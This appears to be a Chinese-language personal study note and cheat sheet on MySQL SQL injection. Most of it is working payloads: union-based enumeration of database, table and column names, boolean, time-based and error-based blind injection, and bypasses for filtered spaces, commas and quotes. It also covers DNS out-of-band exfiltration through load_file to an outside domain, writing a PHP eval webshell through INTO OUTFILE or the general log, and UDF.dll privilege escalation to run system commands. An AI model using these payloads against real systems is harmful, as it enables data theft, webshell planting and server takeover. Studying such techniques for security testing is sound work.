SQL基础学习


基础

测试

1
2
3
4
5
6
'
''
"
""
\
\\

注释符

1
2
3
4
5
#
/*
-- -
;%00
`(反引号)

雨师傅blog对 (`)做为注释符的解释:

1
http://www.yulegeyu.com/2017/04/11/%E4%B8%BA%E4%BB%80%E4%B9%88-backtick-%E8%83%BD%E5%81%9A%E6%B3%A8%E9%87%8A%E7%AC%A6/

当在可以使用表名 列名等的别名时 `后面部分会被当作别名,且反引号部分不需要两个反引号闭合,所以起到了‘注释’作用

基础信息

数据库部分信息

1
2
3
4
5
6
version()
version
user()=select user,password from mysql.user
database()
datadir
innodb_version()

关于information_schema的表

1
2
3
4
5
schemata
key_column_usage
tables
table_constaints
culumns

特殊:

1
mysql.innodb_table_stats

字段信息获取:

order by n:

1
2
3
4
5
' order by 2-- - 正常
' order by 3-- - 报错: Unknown column '3' in 'order clause
&&
' order by 1,2-- -
' order by 1,2,3-- -

知道表的报错:

1
2
example:select id from user where num={};
使用:1 and (select * from a)=1; 则报错: Operand should contain 2 column(s)

不知道表的报错:

1
2
1' union select 1,2-- -
1' union select 1,2,3-- -


联合查询

通过information_schema库 依次查询出数据库、表、列,最后dump出数据
information_schema.schemata:schema_name
information_schema.tables:table_schema,table_name
information_schema.columns:table_schema,table_name,column_name

1
union select 1,2,3 from information_schema.tables--+
1
union select 1,schema_name,3 from information_schema.schemata--+
1
union select 1,table_name,3 from information_schema.tables where table_schema=database()--+
1
union select 1,column_name,3 from information_schema.columns where table_name=xxx and table_schema=xxxx--+

获取其他数据库下的信息:

1
union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema="information_schema" --+

1
1' union select * from xxx.xx-- -


盲注

  • boolean盲注
  • 时间盲注
  • 报错盲注

编码函数:
hex():返回字符串的16进制
char():ascii码转化为字符串
ascii():将字符编码为ascii值
ord():同ascii()

mysql本身不区分大小,所以通常转换数据类型去进行比较,如:

  • hex()
  • ascii()
  • ord()
  • binary() //注:select binary “A”=”a”;
    Alt text


boolean盲注

  1. 通过截断函数进行判断
    substr(str,start,[length])
    mid(str,start,[length])
    left(str,length)
    …..

  2. 正则匹配
    regexp()
    like

  3. 判断函数
    if(expr1,expr2,expr3)
    ifnull(expr1,expr2)
    原理:利用and or的逻辑判断 通过判断页面是否正常回显,来判断

注入语句
1
and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))1,1)="a"--+
1
and (left((select user()),1))="a"
1
and (select user() regexp '^ad')=1
1
and (if(((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))1,1)="a"),1,0))=1


时间盲注

利用sleep()和benchmark(count,expr)来对时间进行延时,可能跟网速,电脑等因素有关

  1. 1
    2
    3
    4
    case xx when xx then
    when xx then
    ....
    else xx end
  2. 利用if判断结合boolean盲注

原理:利用sleep函数 通过页面响应时间来判断

时间注入两种函数if() || case when xx then xxx else xxx
当无法使用逗号时,选择第二种方式进行时间注入!

注入语句
1
and if((substr((select user()),0,1)="a"),sleep(5),null)--+
1
id=1 and (select sleep(10) from admin where user like "%r%" limit 1,1)


报错盲注

  1. 利用count(),floor(),group by组合成的查询语句来报错(主键重复)

    1
    ' and (payload)-- -
  2. bigint数据溢出:
    ~0+1
    exp(~0+(payload))

  3. mysql的xml函数
    extractvalue(1,concat(0x3a,user()))
    updatexml()

  4. 几何函数
    geometrycollection()
    multipoint()
    原理:利用mysql_error(),构造报错语句,通过报错时返回的数据,来获取数据
  5. procedure analyse()

    1
    2
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
  6. using name_const():

补: select语句使用函数报错的位置: select , where , group by , order by 。

1
select*from(select(name_const(version(),1)),name_const(version(),1))a;

boolean型报错注入

1
select (if(version()>5,2,1))*1e308

转移报错

1
convert(concat('a',id),signed)

注入语句
1
select count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2)a from information_schema.tables group by a)
1
select exp(~(select * from(select user())a)) //补:select多重语句查询时,from后面的语句会先执行
1
select * from information_schema.tables where extractvalue(1,concat(0x2a,(select user()),0x00))

Alt text

带外查询

DNS注入

如果mysql的skip_name_resolve为off ,及mysql支持DNS解析,利用

1
load_file(concat('\\\\abc.',version,'.xx.com\\1.txt')) //补充UNC路径:使用在共享资源中

Alt text
Alt text

在没有回显的情况,不经可以使用时间,布尔盲注,也可以使用DNS这种带外查询,可以提高查询速度。

补DNS解析

先上图:
Alt text
Alt text

几个词:根域,域名服务器(顶级域,第二层域)
一层一层解析:如请求www.baidu.com:

  1. 会先检查本地hosts文件时候有映射关系
  2. 在本地DNS查找解析器是否有缓存
  3. 请求本地设置的优选DNS服务器解析
  4. 请求13台根DNS服务器,判断这个域名属于那个顶级域名服务器管理(.com),返回此台服务器的ip
  5. 请求顶级域名服务器,然后找到下一级域名服务器(baidu.com),同样返回此台服务器ip
  6. 重复以上动作,直到找到域名的ip


奇怪的姿势:

1
select username from xx union select info from information_schema.processlist //info列会显示当前执行的select语句

绕过

过滤空格

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
使用():select(id)from(a);
使用/ ! select/&&select/**/from

不使用逗号

基于时间的盲注:case when xxx then sleep() else xxxx;
对于substr和mid:

1
2
substr(data from 1 for 1);
mid(data from 1 for 1);

使用like

再过滤逗号的情况下使用union查询:

1
select * from teat.a union select * from (select 1)a join (select 2)b join (select 3)c;

避免使用引号

  • hex编码
  • char()编码
    ex:
    1
    2
    table_schema="test"换为
    table_schema=0x74657374

过滤where

1
select * from information_schema.tables group by table_schema having table_schema="a";

文件写入

1
select '<?php eval($_POST['local'];?>'into outfile "网站根目录"

另类sql注入

insert,update注入

报错注入

1
2
逻辑报错(or,and,xor,&&,||)
insert into user values(1,2,'name' or updatexml(1,concat(0x2a,(version()),0x2a),0),"pass");
1
2
使用算数运算符(*,+)或位运算符(&,|)
insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),2) xor '','pass');

利用位运算符

1
2
select conv(hex("xxxx"),16,10)
select unhex(conv(),10,16)

带外查询:

可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, <=, <, <=>,>, >=, mul, /, div, -, +, %

1
update user set username='l0ca1'*load_file(concat('\\\',version(),'.l0ca1.com\\a.txt')) where id=1


order by 注入

报错注入

1
SELECT user,host from mysql.user order by 1 and updatexml(1,if(1=1,user(),2),1)

时间盲注

1
SELECT user,host from mysql.user order by if(1=1,sleep(2),1);

改变返回数据

1
2
select .... order by id|2 //由此来改变返回的数据的顺序 变化之后 他进行的操作是将id的值进行按位或在进行排序
select .... order by id|(boolean payload)+1 /由此变化为布尔盲注

Alt text

这里留下个疑问 在执行:

1
select ... order by 3+2 //他是如何运算的 现在还没弄明白 留下疑问

还有开始有个想法 order by后面直接跟union 查询不是跟好的改变数据返回吗 但是通过查询文档 发现order by后面直接跟union语句时 需要前后连个语句都打上括号 不然会报错

1
(select .... order by xx) union (select ....)

写shell,一般报错注入是没法写入shell的,所以可以使用

1
select test from test where id=1 into outfile "C:\www\xx.php" lines terminated by '<?php @eval($_POST["a"]);?>' //可用于where,order by,limit后

1
2
3
4
5
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]f

limit注入

union select注入

报错注入

1
SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); //仅限于limit后

补mysql报错

主键重复

1
select count(*) from test group by concat(version(),floor(rand(0)*2));

整形溢出报错

xpath处理函数报错(extractvalue,updatexml)和各类函数

列名重复(naem_const(0,version()))

自己的想法:在报错注入获取数据的时候,要尽量使返回的数据为一条,所以使用拼接函数,将数据拼接在一起,一条数据直接返回完毕,使用group_concat可以很好的完成


一次获取信息

利用@:=来一次查询多个内容

1
select @ from (select(@:=0x00),(select @ from test.a where (id>@) and @ in (@:=concat(0x2a,@,id,num))))a

补:mysql变量使用
Alt text
Alt text

mysql执行顺序:
http://www.jellythink.com/archives/924

Mysql提权

利用udf.dll提权

首先udf(user defined function)是用户自定义函数,思路及上传udf.dll 添加shell函数,去执行系统命令。

要注意几点:

  1. mysql4.1-5.1版本中 在添加函数时,对udf.dll的位置做出限制 不能出现”/“,”\”符号,及无法使用绝对路径。
  2. mysql5.1后再次对位置做出了限制,上传的udf.dll必须在mysql/lib/plugin/目录下,但是plugin默认是不存在的。

mysql信息收集

  • 版本号 version()
  • mysql目录的绝对路径 @@basedir

    上传udf,dll

    最终目标是将udf.dll上传至mysql/lib/plugin下
    所以先测试此目录是否可创建目录 上传文件。
    如果此目录无法完成,寻找可上传点,上传udf.dll,最后通过select load_file(‘C:/www/udf.dll’) into dumpfile ‘C:/mysql/lib/plugin/udf.dll’ 将udf.dll上传至目的地,中间会遇到plugin不存在的问题,可以通过NTFS ADS流创建文件夹,语句:
    1
    2
    select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib::INDEX_ALLOCATION';
    select 'test' into dumpfile 'C:/Program Files/phpStudy/MySQL/lib/plugin::INDEX_ALLOCATION'; //测试失败-_-,一定几率成功

添加函数

1
create function shell returns string soname 'udf.dll';

Root权限写入木马

1
select '0x+hex(xx.exe)' into dumpfile 'C:/xxx.exe'

收集姿势

phpmyadmin getshell方式

在into outfile被禁用,尝试登陆phpmyadmin进行getshell(mysql为root权限):
利用general log file,general log是记录mysql所有操作的操作日志,利用此日志去写入shell。
步骤:

  1. general 为ON
  2. 在全局变量中设置general log file地址(将其设置在网站目录下 如:C:\phpstudy\www\shell.php 则以后执行的语句都将记录在此文件下)
    Alt text
  3. 然后执行语句,将shell写入log中
    Alt text
    Alt text

移位溢注技术

知道表名不清楚列的情况

1
id=1 union select 1,2,admin.* from admin //根据回显位来调整位置

结合join查询法:
http://0cx.cc/some_tips_with_mysql.jspx

1
select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from test.a)e; //from后面的表结合做笛卡尔积运算, (select 1)a是将(select 1)的结果用别名a来代替 相当与(select 1) as a

Alt text

Mysql特别报错

在限制了information_schema,columns,tables等情况下获取一些information
字段重复爆出字段

1
select num from test.a where id=1 and (select * from (select * from a as a join a as b)as c) //导致c字段重复

Alt text
利用polygon()函数 在已知字段的情况下爆出表名

1
select num from a where id=1 and polygon(id);

Alt text
3.使用不存在函数 爆出数据库

1
select num from a where id=1-a();

Alt text

祭上大图:

解决问题的核心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]